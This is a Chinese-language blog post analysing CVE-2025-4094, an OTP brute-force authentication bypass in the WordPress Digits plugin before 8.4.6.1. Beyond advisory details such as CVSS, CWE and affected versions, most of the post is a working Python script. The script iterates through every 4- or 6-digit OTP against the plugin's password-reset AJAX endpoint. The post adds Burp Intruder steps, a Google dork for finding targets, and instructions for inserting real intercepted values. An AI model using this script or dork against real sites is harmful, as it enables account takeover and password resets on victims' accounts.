WordPress Digits插件OTP暴力破解身份验证绕过漏洞分析

本文详细分析了WordPress Digits插件8.4.6.1版本中存在的OTP暴力破解漏洞,该漏洞由于缺乏速率限制机制,攻击者可通过暴力破解OTP绕过身份验证或密码重置功能。

WordPress Digits插件8.4.6.1身份验证绕过漏洞分析

风险等级: 中等
本地利用:
远程利用:
CVE编号: CVE-2025-4094
CWE分类: CWE-287
Google Dork: inurl:/wp-content/plugins/digits/

漏洞概述

WordPress Digits插件8.4.6.1之前版本存在OTP暴力破解漏洞,由于缺乏速率限制机制,攻击者可通过迭代尝试可能的OTP值来绕过身份验证或密码重置功能。

技术细节

该漏洞证明概念针对"忘记密码"流程,攻击者可利用相同原理在注册流程中进行利用。

CWE-287: 不恰当的身份验证
CVSS v3.1评分: 9.8(严重)
OWASP分类: A2 - 身份验证失效

利用方法

方法一:Python脚本自动化攻击

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

def brute(otp):
    url = "https://example.com/wp-admin/admin-ajax.php"
    data = {                                             # 替换为目标数据
        "login_digt_countrycode": "+",
        "digits_phone": "000000000",          
        "action_type": "phone",
        "sms_otp": otp,
        "otp_step_1": "1",
        "instance_id": "xxxxxxx",             
        "action": "digits_forms_ajax",
        "type": "forgot",
        "forgot_pass_method": "sms_otp",
        "digits": "1",
        "digits_redirect_page": "//example.com/",  
        "digits_form": "xxxxxxxx",            
        "_wp_http_referer": "/?login=true"
    }
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Referer": "https://example.com/?login=true"  # 替换为拦截的referer
    }
    response = requests.post(url, data=data, headers=headers)
    if '"success":true' in response.text:
        print(f"[+] OTP FOUND: {otp}")
        exit()

def main():
    for otp in range(0, 10000): # range(0, 1000000): 用于6位OTP
        otp_str = f"{otp:04d}"     # {otp:06d} 用于6位OTP
        print(f"[*] Trying OTP: {otp_str}")
        brute(otp_str)

if __name__ == "__main__":
    main()

方法二:Burp Suite Pro手动攻击

  1. 使用Burp Proxy拦截OTP请求
  2. 将请求发送到Intruder模块
  3. 标记sms_otp参数为载荷位置
  4. 加载从000000999999的载荷列表(针对6位OTP)
  5. 开始攻击并监控不同的状态码、长度或成功消息

操作步骤

  1. 使用Burp Suite或浏览器开发者工具拦截OTP验证请求
  2. 复制准确的请求参数
  3. 将脚本中的占位符值替换为拦截请求中的真实数据
  4. 运行脚本暴力破解4位OTP(0000到9999),或修改为6位OTP破解

影响版本

受影响版本:8.4.6.1之前的所有版本
厂商主页:https://digits.unitedover.com/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计